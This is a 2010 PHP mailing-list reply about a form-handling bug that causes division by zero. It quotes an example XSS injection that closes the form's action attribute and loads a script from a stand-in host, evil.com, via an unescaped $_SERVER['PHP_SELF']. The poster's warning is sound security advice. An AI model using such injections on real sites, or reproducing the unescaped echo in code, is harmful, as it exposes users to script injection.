Re: Division by 0
| From: | Daniel Egeberg | Date: | Wed, 10 Mar 2010 22:31:16 +0000 |
| Subject: | Re: Division by 0 | ||
| References: | 1 2 3 | Groups: | php.general |
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On Wed, Mar 10, 2010 at 22:27, Jochem Maas <jochem@iamjochem.com> wrote:
> Op 3/10/10 6:23 PM, Joseph Thayne schreef:
>> Looks to me like you are closing your form before you put anything in
>> it. Therefore, the loan_amount is not set making the value 0. Follow
>> the math, and you are dividing by 1-1.
>>
>> Change this line:
>>
>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>"
>> method="post"></form>
>>
>> to:
>>
>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>"
>> method="post">
>
> this is a XSS waiting to happen. I can put something like the following in
> the request uri:
>
> index.php?" onsubmit="evil()"><script
> src="http://www.evil.com/evi.js"></script>
>
> with regard to the original problem - some input validation is in order.
PHP_SELF doesn't contain the query string, so your particular attack
wouldn't work. It's still a security issue though.
--
Daniel Egeberg